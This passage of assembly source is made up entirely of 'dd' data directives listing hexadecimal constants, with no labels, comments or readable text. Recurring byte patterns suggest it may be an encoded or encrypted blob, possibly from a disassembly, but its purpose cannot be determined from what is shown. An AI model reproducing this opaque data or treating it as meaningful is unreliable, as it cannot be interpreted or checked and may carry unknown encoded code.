		dd 0A63FFE6h, 0BB1E3A7Ah, 85FFE683h, 74CD0E90h,	5F1617CEh
		dd 7CBC0E85h, 0DB3EB27h, 0E6833699h, 54035CFFh,	86E052C1h
		dd 2E0EBDCFh, 67BC5BBAh, 0CA4BF1ADh, 0E852210h,	833DA0BCh
		dd 0A63FFE6h, 0BB1E3A7Ah, 9AFFE683h, 0E6831B7Eh, 0AFF049FFh
		dd 3D61B156h, 2CE389B2h, 833DA0BCh, 0A63FFE6h, 69103A7Ah
		dd 0EE12AC3Ah, 0E797FA66h, 28BDFFE6h, 0A64CB5E9h, 0BC5F16EFh
		dd 0AA8A6792h, 0FA167BE9h, 0FFE77597h, 55FB64BDh, 883767A8h
		dd 0E855F16h, 0FD607CBCh, 23FFE682h, 0B21B838Eh, 0FF29790Ch
		dd 0B50A95C7h, 0AC63096Bh, 52C10E85h, 863569A7h, 42547E16h
		dd 0D8E855Fh, 0F4853CE2h, 0D9C54FA4h, 0C87F254Eh, 0E6837DE0h
		dd 6CA735FFh, 0CD42A732h, 0B7207E95h, 0E09AD32Ch, 0FC266638h
		dd 2BC2107Fh, 22D97F8Bh, 9F2B19D3h, 0E085F4F8h,	0FFE6837Dh
		dd 0BC5BBA35h, 82FD607Ch, 55BFFFE6h, 9AF0849h, 9FE0CE88h
		dd 336BA7F8h, 8552C184h, 3DA0BC0Eh, 63FFE683h, 0D25D41CEh
		dd 0BC9140A9h, 82FD607Ch, 0CA23FFE6h, 0F94EE624h, 2BE28816h
		dd 0E8585F4h, 1E7392BCh, 17A5C3B6h, 0A76FDE71h,	63A3336Bh
		dd 0E682E447h, 13B912FFh, 0F45F165Ch, 607CBC85h, 0FFE682FDh
		dd 19858E23h, 33960AB0h, 0F3FFE683h, 19D31B7Ah,	7F1FF54Ah
		dd 67BC22D9h, 3D66F1ADh, 0A73BE297h, 4919F76Bh,	2049D4CAh
		dd 73032CB7h, 0E682F457h, 60C922FFh, 4771C1B1h,	77EDD0AAh
		dd 6E25CBCFh, 0E6837DE0h, 3A7A35FFh, 837BDEFAh,	50A9FFE6h
		dd 19D3F3AAh, 7E20F54Ah, 6BA721D8h, 5F168433h, 0A3336BA7h
		dd 697E2679h, 0B949DEF5h, 0E6D83A9Dh, 690F68FFh, 0E052C1B2h
		dd 0FFE6837Dh, 0E53A7A35h, 5EE3612Ch, 4ADEF626h, 0BC843BE1h
		dd 66E22392h, 0D83AEB22h, 36B75DC6h, 6BA78E7Ch,	0C44EA333h
		dd 167D34DAh, 32D855Fh,	34F184AEh, 2BE2883Bh, 6BA752C1h
		dd 838DF00Ch, 5AB3FFE6h, 71C142F1h, 83B21531h, 87E0FFE6h
		dd 0E852AE1h, 8341A0BCh, 65FFFE6h, 0A967BC57h, 9B416AF5h
		dd 6BA7A65Dh, 5F168433h, 8F5C92BCh, 880A6D89h, 0DF38FFE6h
		dd 82972E65h, 5F9F27DCh, 0E690E043h, 7AD06FFh, 9BC9E050h
		dd 0BC69FFE6h, 82FD607Ch, 0CA23FFE6h, 0BB1ED25h, 3DECB25Eh
		dd 0A0BC52C1h, 0FFE6833Dh, 4B8C12FFh, 0BCB42BF2h, 0E6833DA0h
		dd 44CE63FFh, 20ABF31Eh, 9E038EF7h, 55BE2777h, 0F35F16A6h
		dd 0E53ACA96h, 0BEE7722Ch, 0A0BC6118h, 7E0AD0Eh, 168C3B94h
		dd 0B5E9297Eh, 9A3A573Bh, 1FC5BA71h, 0F86AA768h, 0D3FC8717h
		dd 0D7B0DA6Ah, 0BB4A1A88h, 0C141F89Eh, 0C8114771h, 0F4B9A054h
		dd 85F4974Eh, 35236AA7h, 0BB85780Ch, 0B43396B2h, 861FFE6h
		dd 51A6369Fh, 2750DBC3h, 5F16CA81h, 863569A7h, 32E052C1h
		dd 0E15A6CDAh, 8C17878Ch, 0A706BD63h, 65A53569h, 0D5CC923Bh
		dd 0B92556D1h, 0FFE75056h, 0C67D237Ch, 0D5547E16h, 89A21839h
		dd 0A79950F6h, 0C1863569h, 23237B52h, 7CBC2AC9h, 0E682FD60h
		dd 828E23FFh, 0FF68911Ch, 301ED859h, 0F5A967BCh, 0EE9B416Ah
		dd 16CD7C22h, 3569A75Fh, 0E052C186h, 0FFE6837Ah, 0D321D83Ah
		dd 69A72B19h, 7E168635h, 2B30E854h, 660CC8B8h, 3569A7AFh
		dd 1C71C186h, 0F3AB6AF8h, 0E02DE48Ah, 0FFE6837Ah, 0D321D83Ah
		dd 69A72B19h, 5F168635h, 0A4346AA7h, 8AE6477Ah,	8B853D6Dh
		dd 0F65F8813h, 67BC9950h, 4757B9A9h, 842A93BCh,	0C34CA1F1h
		dd 0E07E35DBh, 5D6A1DEh, 346AA796h, 0A75F1685h,	0C185346Ah
		dd 837AE052h, 0D83AFFE6h, 2B19D321h, 85346AA7h,	6AA75F16h
		dd 52C18534h, 0A724247Bh, 46AB3668h, 0C0BBC4C9h, 50BAFCFEh
		dd 1CF75CE7h, 0DC7F082h, 0D343E265h, 6AA72B19h,	838EF10Dh
		dd 5BB4FFE6h, 5F1643F2h, 17F86AA7h, 0C16F1E87h,	0A5F91C71h
		dd 0FF8A1400h, 0BC7930D6h, 82FD607Ch, 54BFFFE6h, 0AB0094Ah
		dd 0E6833096h, 55BA0FFFh, 0EF95BE49h, 316DA738h, 0CAD441A6h
		dd 38F2233Fh, 0D3651C90h, 6AA72B19h, 7E168534h,	12B8E629h
		dd 0FA68A75Bh, 9237716h, 0A5FB5166h, 0C124D33Ch, 90FDE052h
		dd 94D40847h, 90D53854h, 0A2FB0847h, 4790D336h,	1442C808h
		dd 0DE628A85h, 4993339Dh, 7E752AD6h, 0A7B86F15h, 51A63668h
		dd 2750DBC3h, 5F16CA81h, 0A63668A7h, 71A4BE51h,	0F11FC42Dh
		dd 0C15007ADh, 0A967BC52h, 0F6DB4FF5h, 0B2049DDAh, 19D351C8h
		dd 831BF54Ah, 8374D7F3h, 49A2FFE6h, 68A7ECA3h, 7CBC8736h
		dd 8AFA4752h, 0AD19F7C5h, 0FFE6F14Ah, 9B7A1F78h, 0A94F7803h
		dd 68A7B46Bh, 425E19FAh, 0FFE683DFh, 0B843AC05h, 0BC77268Fh
		dd 50F6A867h, 167D4EBDh, 0F0AE67BCh, 0A7550C4Ah, 66A63668h
		dd 0E682E74Ah, 0EB40DFFh, 0E052C157h, 4413F517h, 0E63B39Fh
		dd 3BF29806h, 0B9A967BCh, 4ED9425Ch, 44FE7F25h,	3668A756h
		dd 0A75F1687h, 0C1873668h, 0D36B0A52h, 92BC2B19h, 35542C11h
		dd 0DE0F89F7h, 15632159h, 1CD311B7h, 15FA68A7h,	82E34662h
		dd 0B811FFE6h, 3668AA4Fh, 52C11ECDh, 778A99E0h,	1B7A59CDh
		dd 0BC2B19D3h, 60B4AE67h, 218AB33Eh, 5D41CE7Bh,	3E7E16AEh
		dd 0E683BF22h, 0E68CE5FFh, 0F86AA72Fh, 0D1FA8519h, 71C1B968h
		dd 3631F347h, 0BE640010h, 3668A707h, 1C71C187h,	0F31CA7F7h
		dd 89F0964Dh, 0BC2B19D3h
		dd 82FD607Ch, 0CA23FFE6h, 49A7724h, 0A8F61F74h,	28D1103h
		dd 167C33D9h, 4192BC5Fh, 0E2BC599Ch, 94B42E57h,	9542E818h
		dd 6416137Ah, 7B6C4E59h, 0E764FC5Fh, 68D12AFFh,	5F1650FFh
		dd 85346AA7h, 0FD607CBCh, 23FFE682h, 229124CAh,	0B15F36E0h
		dd 5BBABE34h, 0A72B19D3h, 8EF10D6Ah, 0B4FFE683h, 1643F25Bh
		dd 3569A75Fh, 0A752C186h, 0BC85346Ah, 82FD607Ch, 0CA23FFE6h
		dd 0A7229124h, 8717F86Ah, 0DF6AD3FCh, 0C4E0977Ah, 0FFE68361h
		dd 42CD368Fh, 4EF6B0E9h, 19D31D7Ch, 3569A72Bh, 0AA67BC86h
		dd 78104EF4h, 83B91C38h, 52E7FFE6h, 2750DBC3h, 0A76118BEh
		dd 1685346Ah, 346AA75Fh, 5D8A7AA4h, 617B2CDh, 52C1A960h
		dd 863569A7h, 1B7A52C1h, 0FD607CBCh, 23FFE682h,	0E9A324CAh
		dd 346AA7FBh, 0E54864A4h, 0BFFE682h, 16550CB2h,	3569A75Fh
		dd 0A867BC86h, 9D426BF6h, 45832975h, 346AA78Eh,	0E052C185h
		dd 0FFE6837Dh, 0BC5BBA35h, 55811292h, 872DC0D9h, 0BC5E4C06h
		dd 82FD607Ch, 0A323FFE6h, 0E6832487h, 90F952FFh, 0CAD43DEAh
		dd 855F161Bh, 0A752C10Eh, 0C185346Ah, 0BC0E8552h, 89114692h
		dd 0B85D2809h, 93BC4757h, 0DA3955EDh, 8FFE721h,	0C3DF1FAFh
		dd 0FFE72160h, 7E20F186h, 16B86F15h, 0B5E9297Eh, 6AA7580Fh
		dd 92BC8534h, 852BBEE8h, 0F533D9C7h, 0F46EA73Eh, 0CDF6811Dh
		dd 0F0459D64h, 89EE7925h, 8AD1688h, 35EC920Ch, 0F91C71C1h
		dd 8C1200A5h, 7B32D801h, 69A7F89Fh, 838FF20Eh, 20B5FFE6h
		dd 0FB24AFEFh, 44992992h, 0C46D1CDh, 0F35EDD1Bh, 38DE47A2h
		dd 1C71C181h, 1104A9F5h, 33D9028Dh, 0D82D857Ch,	0B1DA6539h
		dd 0A0BC540Bh, 0FFE6833Dh, 8004EA14h, 3BEDE747h, 5BB74C95h
		dd 268FB843h, 3E7E1677h, 837FE2FEh, 4CA5FFE6h, 0E6837DE0h
		dd 0B339A3FFh, 0DC1CF6CBh, 0AA610770h, 3AD82D85h, 4B53BF64h
		dd 3AF197C0h, 0E8552C1h, 0F0AE67BCh, 3963C65h, 316DA794h
		dd 547E1682h, 487F544h,	0FBB25849h, 7DE085F4h, 35FFE683h
		dd 16103A7Ah, 3C965984h, 0D38D44EAh, 0F89F2B19h, 82316DA7h
		dd 92BC52C1h, 0A5CF7B8Ch, 0F353F965h, 316DA784h, 90C61A1h
		dd 75E10A95h, 0FFE68312h, 266DE740h, 56F569F2h,	0BCECA349h
		dd 50F6A867h, 6DA75B12h, 0D34220F5h, 0AE1740CBh, 0E291FA23h
		dd 7DE052C1h, 35FFE683h, 19D31B7Ah, 206DA72Bh, 0BDD9C9ACh
		dd 0FFE6C35Ah, 3BB52F88h, 77268F98h, 223E7E16h,	0FFE683BFh
		dd 0E64965E5h, 0CFFE682h, 0EDA44AB3h, 0A1316DA7h, 375DF477h
		dd 138D6539h, 0E3DEA89Bh, 0DA913788h, 0D4CD92BCh, 0B87DE10h
		dd 0E7818CEFh, 0F861BAFFh, 0E050BF52h, 0FFE6837Dh, 0D31B7A35h
		dd 6DA72B19h, 5F168231h, 0FD607CBCh, 0D4FFE682h, 0E68355B8h
		dd 0E1227BFFh, 0DF35E288h, 52C110BFh, 4A032D85h, 0D4D58DC8h
		dd 0BCCC8329h, 0E6833DA0h, 0B3EA14FFh, 0CD21F6B2h, 0F186CF75h
		dd 0CDD13E24h, 47B0D964h, 0ECB262B7h, 4AD5C947h, 0BCC47B21h
		dd 6AF5A967h, 309C030h,	7AE33C8Fh, 9CF141D4h, 759E2975h
		dd 7CBC18CFh, 0E682FD60h, 24CA23FFh, 3F09D77h, 0E4D246A5h
		dd 8F6A3B15h, 7B952715h, 7E166312h, 7FE2FE3Eh, 0A5FFE683h
		dd 837DE04Ch, 4AA3FFE6h, 0E85EDA4h, 0F4AA67BCh,	379AB64Eh
		dd 5DFFE683h, 0EB544AC8h, 855F163Ch, 9F52C10Eh,	0CA96F3F8h
		dd 732BE53Ah, 8364C7E3h, 3992FFE6h, 0A0BCDC93h,	7E09FE2h
		dd 0C217A700h, 0AA0D294Eh, 0D807E09Fh, 628B167Fh, 52C105BCh
		dd 38D82D85h, 0C109C066h, 0C10E8552h, 3569A752h, 0E64965A5h
		dd 0CFFE682h, 16560DB3h, 4FA4F45Fh, 2A749DC5h, 670D769Fh
		dd 0AB67BCB0h, 993F68F3h, 0E683C225h, 69A782FFh, 0CF45AA35h
		dd 89B244CFh, 0F65527CFh, 0BAA867BCh, 51DC4559h, 47018228h
		dd 0A7F89F59h, 821CF56Dh, 52C16A19h, 0EB7AA4F4h, 18BC2E95h
		dd 0A7B36A10h, 1682316Dh, 316DA75Fh, 0E052C182h, 0FFE6837Dh
		dd 0D31B7A35h, 6DA72B19h, 67BC8231h, 0E4CF2ACh,	346AA757h
		dd 0E052C185h, 66018F15h, 0F4AA67BCh, 6AA7974Eh, 0A1555E23h
		dd 0EB54FF00h, 0A75F163Ch, 4FA4346Ah, 2851DCC2h, 71C1CB82h
		dd 0A26EF41Ch, 36ED93FCh, 40217Bh, 0E68381E4h, 0B056AFFFh
		dd 0D37221F9h, 6AA72B19h, 92BC8534h, 0D34C0C09h, 43812722h
		dd 0AC67BC8Ch, 729F4CF2h, 52C17D2Ch, 0ED277CBCh, 82E245B1h
		dd 0B710FFE6h, 0DCDC3811h, 19D32AC9h, 346AA72Bh, 0BC5F1685h
		dd 0B1ED277Ch, 2E91FD26h, 0F0FFE683h, 0C6EF7A24h, 809C2C85h
		dd 0FFE6831Dh, 9744EA43h, 0C175247Ah, 23237B52h, 0A7326CA7h
		dd 45D0CE42h, 2206C001h, 1A45AEF0h, 2B19D36Bh, 85346AA7h
		dd 0F2AC67BCh, 36760E4Ch, 0E683B71Ah, 0FF73DDFFh, 601542F8h
		dd 0A35A0069h, 9A3792BCh, 7689227Ah, 74EE23D0h,	514DC49Eh
		dd 0CB349DC6h, 3171C11Ch, 0C7DA8407h, 0AF1B01C7h, 0FFE6FB4Ch
		dd 7591217Ah, 0FFE6FB12h, 8A41E740h, 0F4AA67BCh, 0C39A4069h
		dd 0A75F165Ch, 0C183326Ch, 75EFE052h, 0A787FFB3h, 1683326Ch
		dd 607CBC5Fh, 0FFE682FDh, 7724CA23h, 0C155049Ah, 394E4771h
		dd 6C061891h, 6CA70FC6h, 52C18332h, 0F0257ABAh,	54FA23AEh
		dd 1592BC9Dh, 0E5A35894h, 16D051F7h, 607CBC28h,	0FFE682FDh
		dd 5B6818EAh, 2667DA13h, 977A27CDh, 5F165807h, 0A2326CA7h
		dd 82E34662h, 0B811FFE6h, 5F165B12h, 82316DA7h,	0CCAB67BCh
		dd 0E6834DB0h, 0B11A73FFh, 0A709780Bh, 0C185346Ah, 336BA752h
		dd 0CFCF43A8h, 3DF72844h, 0D364C395h, 50204A19h, 0F3AB6886h
		dd 40C53F68h, 37EE94CDh, 82316DA7h, 6AA75F16h, 67BC8534h
		dd 0D4BF1ADh, 0C10E8556h, 0A6DA752h, 0E6838BEEh, 0F760B9FFh
		dd 8552C148h, 41A0BC0Eh, 10FFE683h, 0A04559BBh,	3D862C72h
		dd 0E6C1A3D3h, 0C932AFDEh, 0A75F161Ah, 1682316Dh, 0BCF89F5Fh
		dd 4CF2AC67h, 95940BD8h, 2D85AB48h, 5E503DD8h, 68D4A13Bh
		dd 6219BF28h, 0FD607CBCh, 0BFFFE682h, 9AC34E50h, 0C75A0059h
		dd 0D1FA4D77h, 0D14F7D3Dh, 2D85742Bh, 0BB613DD8h, 0BC52C104h
		dd 61F1AD67h, 0E682E245h, 11B710FFh, 5EEEB064h,	0C970709h
		dd 0A7326CA7h, 0B86F157Eh, 85F45F16h, 0E6837DE0h, 68A735FFh
		dd 0CD46AB36h, 794736C0h, 8BF4ABA0h, 8B456E00h,	0D3B211E3h
		dd 1DF54A19h, 9F24DB81h, 0AB6ED17h, 0FEAEAAF9h,	7CBCA158h
		dd 0E682FD60h, 25CA23FFh, 0FD26B1EDh, 3866AA57h, 0F452C189h
		dd 3569A785h, 9EC450A5h, 759E2975h, 16AF660Ch, 216CA75Fh
		dd 0A4473D04h, 0E08FF8AFh, 54771C1h, 4C6B4810h,	0E06219BFh
		dd 0FFE6837Dh, 326CA735h, 0E01F78A2h, 107EBC62h, 5F16B36Ah
		dd 863569A7h, 6CA752C1h, 838CEF0Bh, 61BAFFE6h, 8352B5D1h
		dd 2780FFE6h, 52C10FBEh, 67BC1B7Ah, 416AF5A9h, 72601A9Bh
		dd 863569A7h, 0FD607CBCh, 23FFE682h, 2FE624CAh,	1DF66CA7h
		dd 64CDF681h, 297E16B5h, 59979E9h, 0A73FF69Ch, 0C1863569h
		dd 837DE052h, 2A54FFE6h, 3DAE936Bh, 34EB911Bh, 0A8336BA7h
		dd 41CCD243h, 0C0A27318h, 98C14C52h, 124BA42Fh,	86749F58h
		dd 853731B7h, 0D3EB4A1Ch, 50204A19h, 278F939Eh,	0A7863DE3h
		dd 16863569h, 0B3EB297Eh, 0E85560Dh, 0F91C71C1h, 0A748FFA5h
		dd 0C1863569h, 0BC0E8552h, 0E68341A0h, 57065FFFh, 69A75F16h
		dd 7E168635h, 28B3EB29h, 8359BCD8h, 2E87FFE6h, 85681FC5h
		dd 9F52C10Eh, 607CBCF8h, 0FFE682FDh, 0C324CA23h, 0C90999C7h
		dd 0E6834AADh, 0A51F78FFh
		dd 0DCE99AA6h, 0D38A3092h, 6DA752C1h, 0F8831BF5h, 0BCB766CFh
		dd 65F0AE67h, 9403963Ch, 19D330E7h, 7492BC2Bh, 3525B7BBh
		dd 0CB03D379h, 6938753Ah, 0AD2h, 0F46EA7FAh, 0CEF7821Ch
		dd 52C1B665h, 6EA785F4h, 7E168130h, 11B7E729h, 326CA75Ah
		dd 9BC74DA2h, 17BD2678h, 8F92BC60h, 0F054D2F2h,	710C1D97h
		dd 0F6AEA2F7h, 436DBD50h, 11B3B470h, 8BF6599h, 0CFCFEE0h
		dd 7995D53Fh, 3F0CFC16h, 863DE33Ch, 0A2326CA7h,	50DBC34Dh
		dd 0BCCA8127h, 73D33092h, 0C656DD02h, 0E6D647AAh, 6E146DFFh
		dd 6CA77930h, 52C18332h, 0C009F8E0h, 0CB4A9FC0h, 0A7762DD3h
		dd 831BF66Ch, 0EA2A8F1Ah, 98060FB4h, 98527B0Dh,	0D3BF1EF0h
		dd 6CA72B19h, 5F168332h, 0A0306EA7h, 31D7C74Bh,	0AD67BC7Ah
		dd 68B84BF1h, 0FAA0FE13h, 326CA743h, 0AA67BC83h, 0B04069F4h
		dd 0E6833194h, 60065FFFh, 1B7A5ECDh, 0CAAD67BCh, 0E6834BAEh
		dd 0B72079FFh, 0E8D69011h, 81306EA7h, 18547E16h, 0EA365B01h
		dd 0A72DE48Ah, 1683326Ch, 27E93E7Eh, 83A80B77h,	75CEFFE6h
		dd 6AA718CFh, 0C64FA434h, 7E244DD8h, 0E052C1C7h, 0FFE6837Dh
		dd 346AA735h, 0C2EC7AA4h, 4F97372Fh, 2750DBC3h,	166118BEh
		dd 0B6E8297Eh, 544AC62Bh, 0A78E45EBh, 0C181306Eh, 346AA752h
		dd 0A752C185h, 28FA1F6Eh, 0F66CA23Dh, 759D028Dh, 0E908429h
		dd 37F12A83h, 0D39EFD8Fh, 6EA72B19h, 5F168130h,	85346AA7h
		dd 0FD607CBCh, 23FFE682h, 2FE624CAh, 81306EA7h,	0E8552C1h
		dd 0F1AD67BCh, 0FF973D66h, 0E68380E3h, 0FB1757FFh, 0FFE68398h
		dd 76BF65BEh, 52C16E1Dh, 19D344B3h, 0AC67BC2Bh,	769F4CF2h
		dd 0ED7826ECh, 16AC5BC4h, 316DA75Fh, 3FB67DA6h,	7CBC52C1h
		dd 0E682FD60h, 0AD62EAFFh, 0A63052A5h, 0B9660C65h, 3AD315Ch
		dd 0C22C6EF0h, 71C1AA59h, 0B6640731h, 9C9F48A7h, 0E698CD30h
		dd 0F49AF3FFh, 0A6DA73Dh, 0E6838BEEh, 0F760B9FFh, 9D001C6Ch
		dd 0C3FFE683h, 4F4FC56Ah, 8F4972C4h, 0D3DF4EE7h, 0E852B19h
		dd 0A67B92BCh, 2051CCBEh, 640A947Bh, 4B4DB0CCh,	0CF24FFE7h
		dd 6BB45A44h, 4B6CCFEBh, 59AFFE7h, 0BF28910Dh, 0A75F1610h
		dd 811DF46Eh, 0B564CDF6h, 0E8552C1h, 833DA0BCh,	0EA14FFE6h
		dd 78B8B475h, 203CCCECh, 0FFE6E5BDh, 9BE48AE3h,	52C19342h
		dd 67BC44B3h, 0CF50F6A8h, 23F14615h, 21C7F07Bh,	6A92BC6Ah
		dd 69F3AD49h, 21F4A147h, 5F16CE7Dh, 52C10E85h, 69A7F89Fh
		dd 52C18635h, 92BC0E85h, 9F4B2B08h, 0B54DF3F9h,	0E6F33699h
		dd 5AB80DFFh, 0EB90B944h, 0C6EF7A24h, 0CF7ED720h, 0E855F16h
		dd 6EA752C1h, 147D21F4h, 0BDE12F84h, 67BC6017h,	1250F6A8h
		dd 346AA75Bh, 0F452C185h, 346AA785h, 0BC5F1685h, 50F6A867h
		dd 81306EA3h, 0F4AA67BCh, 79A4069h, 0A967BC98h,	78DB4FF5h
		dd 30FFE683h, 67BC1B7Ah, 0C84CF1ADh, 7C224BD6h,	0BC5341FBh
		dd 82FD607Ch, 0CA23FFE6h, 49A7724h, 2792BC55h, 0CED03F8Eh
		dd 57A01A43h, 0C705AB04h, 6737DA2Fh, 68A70AC1h,	8390F30Fh
		dd 5DB6FFE6h, 0B9445AB8h, 0C1782790h, 0B2153171h, 0E0FFE683h
		dd 0E02AE187h, 38BCB532h, 0FA68A7C2h, 6B1A831Bh, 92BC5F16h
		dd 0BE84C041h, 6CCFEB09h, 9AFFE703h, 8532D841h,	0C165148Ah
		dd 0E7D8E052h, 3F7F5681h, 81E7C023h, 0C286AD56h, 0AE5C5AC9h
		dd 0B76E146Dh, 0A6316DA7h, 41CCD241h, 4DF5AFE8h, 19D352C9h
		dd 3668A72Bh, 0A75F1687h, 90F30F68h, 0B6FFE683h, 0C145F45Dh
		dd 0D36B0A52h, 7E162B19h, 9B79E929h, 0E60F9A03h, 68A78940h
		dd 52C18736h, 78A396E0h, 3A7A1E10h, 0EAD0A710h,	0A20CCFC9h
		dd 477CF675h, 0F558744Ch, 1BFFE744h, 0FCB359C2h, 0F54A19D3h
		dd 22D97F1Fh, 873668A7h, 67BC5F16h, 9D4AF0AEh, 3AAE1974h
		dd 0A91F55F1h, 28910D04h, 0A752C179h, 51A63668h, 833AE0BEh
		dd 1B7A52C1h, 0F54A19D3h, 0CFCF461Ch, 0BC09C066h, 0EA16A792h
		dd 892F54DBh, 0BA6935DCh, 68A75F16h, 0B27F325h,	951E9806h
		dd 0D180E9F4h, 6AA75F16h, 67BC8534h, 3D66F1ADh,	85950497h
		dd 613DD82Dh, 76A86D6h,	2DFFE683h, 0D0F16BD4h, 5B9F13C0h
		dd 0BC964DF3h, 0E6833DA0h, 5B0A63FFh, 6AA752C1h, 5F168534h
		dd 7CBC0E85h, 9A79E927h, 0E7507904h, 198D335Ch,	0FFE683B6h
		dd 89D9388Dh, 1EA9128Ch, 9C064FF5h, 2735CAF2h, 63127B01h
		dd 0E855F16h, 0F89F52C1h, 0F10D6AA7h, 0FFE6838Eh, 62F25BB4h
		dd 0F59B030Dh, 0E052C13Eh, 0FFE6F443h, 336BA7F3h, 0D7C74EA3h
		dd 71C17A31h, 94B05147h, 56FCF6A8h, 0C364D29Fh,	0D1487DA7h
		dd 67BC930Ah, 166F1ADh,	0D9028D11h, 1632CA70h, 0FFE683B3h
		dd 0D3365292h, 1FFE683h, 60B902A8h, 3E7E16B1h, 0E683BF22h
		dd 0B67BE5FFh, 3925F95Ch, 0B36A1079h, 0D8A74E0h, 6BA7040Bh
		dd 5F168433h, 1BF76BA7h, 0C16B1A83h, 0F86AA752h, 6918811Dh
		dd 67BC5F16h, 405EB6ACh, 98238CB5h, 0F61CC96Fh,	5F16F9A8h
		dd 0BAA867BCh, 94BD4856h, 3DD8852Bh, 52C1B261h,	85346AA7h
		dd 1B7A52C1h, 0EA277CBCh, 82E548B4h, 0B20BFFE6h, 0E3D18B0Ch
		dd 0E4A967BCh, 16F7C9B4h, 5B016AEEh, 883767AEh,	2D855F16h
		dd 5C52C3EDh, 0C92C7595h, 0E724FA5Dh, 829328FFh, 0FF68911Ch
		dd 52C1A259h, 0A4346AA7h, 5909167Ah, 1BC14B6Dh,	0BC5F1664h
		dd 50F6A867h, 82316DA3h, 7CBC52C1h, 0E682FD60h,	25CA23FFh
		dd 0FA23AEF0h, 0A785F454h, 831BF969h, 0B766CFF8h, 92BC5F16h
		dd 1DB27A6Fh, 0C0DE351Ah, 0FDA30C35h, 2FDEC050h, 92BC52C1h
		dd 52C077A8h, 1E98C14Ch, 0AE549C00h, 0E695D73Ah, 1B7A8FFFh
		dd 0A72B19D3h, 7FDE2469h, 2C6FD821h, 5F1614C3h,	0FD607CBCh
		dd 23FFE682h, 997724CAh, 0EF207505h, 55FB24AFh,	0BC52C19Eh
		dd 66F1AD67h, 0AB59C33Dh, 208ECC9Ch, 88A3067Ah,	7A63FFE6h
		dd 0FF5A103Ah, 81FBA372h, 0B359A905h, 2B19D3FCh, 0FD607CBCh
		dd 23FFE682h, 0B95676B9h, 3CA56B51h, 7727E996h,	0A75F16C8h
		dd 8F02568h, 1D01C933h,	390029B4h, 2285A1E1h, 50FFE6FBh
		dd 0FB51B4D0h, 267FFFE6h, 0A4FA18BDh, 67BC47FEh, 4AADC9AEh
		dd 78FFE683h, 22BB61Fh,	45EBB35Dh, 69A743B2h, 52C18635h
		dd 3AD82D85h, 0AB0D964h, 0AC67BC53h, 983E67F2h,	8385E400h
		dd 5AB3FFE6h, 297E16ABh, 29B4EAh, 69A7A35Ah, 5F168635h
		dd 6EA7F89Fh, 52C18130h, 0A53569A7h, 0DFCCC150h, 66DF22F4h
		dd 53FCA33h, 0D6B60473h, 1BC12A89h, 4771C164h, 37A45C61h
		dd 0DCC24F1Eh, 5D41CE73h, 4C03A9D2h, 2EE53A7Ah,	0D313CA70h
		dd 6EA72B19h, 5F168130h, 81306EA7h, 74E052C1h, 40B0D8Ah
		dd 19D35BBAh, 0AB67BC2Bh, 993F68F3h, 0D93929ECh, 16AD5CC5h
		dd 306EA75Fh, 0A752C181h, 0C182316Dh, 0D344B352h, 6EA72B19h
		dd 0C64BA030h, 7E244DD8h, 0A75F16C7h, 0BC82316Dh, 0B0486D92h
		dd 7EA3EA7h, 1EE15B71h,	0C4DA36CAh, 0B322B55Bh,	6DA785F4h
		dd 49B80620h, 1D866632h, 0A75F166Eh, 8BEE0A6Dh,	0B9FFE683h
		dd 0C148F760h, 837DE052h, 0FF54FFE6h, 99FE8915h, 15BB247Ah
		dd 0D31B7A5Eh, 7CBC2B19h, 0E682FD60h, 87A323FFh, 0FFE68324h
		dd 0EA90F952h, 18C7D73Dh, 6DA75F16h, 71C18231h,	50FC0D47h
		dd 0B42E3FDAh, 379E6E5Bh, 2EE58BD8h, 0E6837DE0h, 5BBA35FFh
		dd 0A72B19D3h, 1682316Dh, 3B7E547Eh, 0C51671C1h, 2D85681Fh
		dd 573F1403h, 54FA1DA6h, 0A752C19Dh, 77A1316Dh,	0F4E290Bh
		dd 6BD63BFh, 0E8552C1h
		dd 8341A0BCh, 0DF5FFFE6h, 0E68360C3h, 9D2D86FFh, 0E6831E81h
		dd 82EB44FFh, 2B739DF2h, 1AD177A0h, 6DA75F16h, 5F168231h
		dd 6CA7F89Fh, 0F5801EF6h, 0A9D363CCh, 1B6EAF2Bh, 12C96FE1h
		dd 0F51C71C1h, 4FF51EA9h, 0BC0E8598h, 0E6833DA0h, 5B0A63FFh
		dd 0F6A867BCh, 0A75B1250h, 0C1873668h, 8381E052h, 0BC31FFE6h
		dd 65F0AE67h, 26E9963Ch, 67BCC978h, 0F4DF3ABh, 3668A758h
		dd 0DEC051A6h, 7E9A2A53h, 0FFE6831Bh, 934AF049h, 0FD607CBCh
		dd 0BFFFE682h, 95BE4955h, 9E81FB54h, 3DCFE1E6h,	7BEA7D23h
		dd 0F2AC67BCh, 0EB983E67h, 16C77628h, 0C10E855Fh, 0A6F81C71h
		dd 8B1301h, 0BC7A31D7h,	0D8FC9592h, 9E4438F0h, 3D591EF1h
		dd 0FFE732DAh, 0A22D71A4h, 76DF3879h, 0F45F16C7h, 837DE085h
		dd 7A35FFE6h, 2B19D31Bh, 0E85F89Fh, 833DA0BCh, 0A63FFE6h
		dd 0BC52C15Bh, 82FD607Ch, 0A323FFE6h, 0E6832487h, 90F952FFh
		dd 90BF76EAh, 0A71F16CFh, 41A6316Dh, 1C8292D0h,	74FF6891h
		dd 973FF922h, 19D3A605h, 0BC0E852Bh, 0E6833DA0h, 5B0A63FFh
		dd 833DA0BCh, 0A63FFE6h, 855F165Bh, 70C3ED2Dh, 5133B366h
		dd 4AB81B87h, 85DEFFE7h, 4A76D9F5h, 439CFFE7h, 7CBCE69Dh
		dd 2AB5E927h, 84E75B01h, 0B2FFE683h, 3DA6F81Dh,	656383ADh
		dd 79F725A6h, 92BC1CD3h, 0C051FD0Eh, 0A06F146Bh, 56C558FEh
		dd 1FECA1E0h, 1B7A514Ah, 0F54A19D3h, 24DB811Dh,	31032D85h
		dd 0FF407488h, 85E80494h, 0ABFFE6F8h, 0BCF5AC52h, 0E6833DA0h
		dd 0B8D414FFh, 0FFE68355h, 742AE67Bh, 0FC5F7B0Bh, 2AFFE682h
		dd 89E22BD1h, 3DA0BCDAh, 14FFE683h, 408CFDEAh, 5F054AB1h
		dd 0BC0EBD16h, 65F0AE67h, 0A158963Ch, 0A0BC0E85h, 0FFE6833Dh
		dd 0C15B0A63h, 326CA752h, 7A52C183h, 722CE53Ah,	6118BEE7h
		dd 204A19D3h, 513214EFh, 48FFA59Fh, 0A0BC0E85h,	0FFE6833Dh
		dd 0BC5B0A63h, 0E6833DA0h, 5B0A63FFh, 0E855F16h, 203C7CBCh
		dd 0FFE683BDh, 40108AE3h, 46C83E2h, 43A61AC0h, 71FFE6FDh
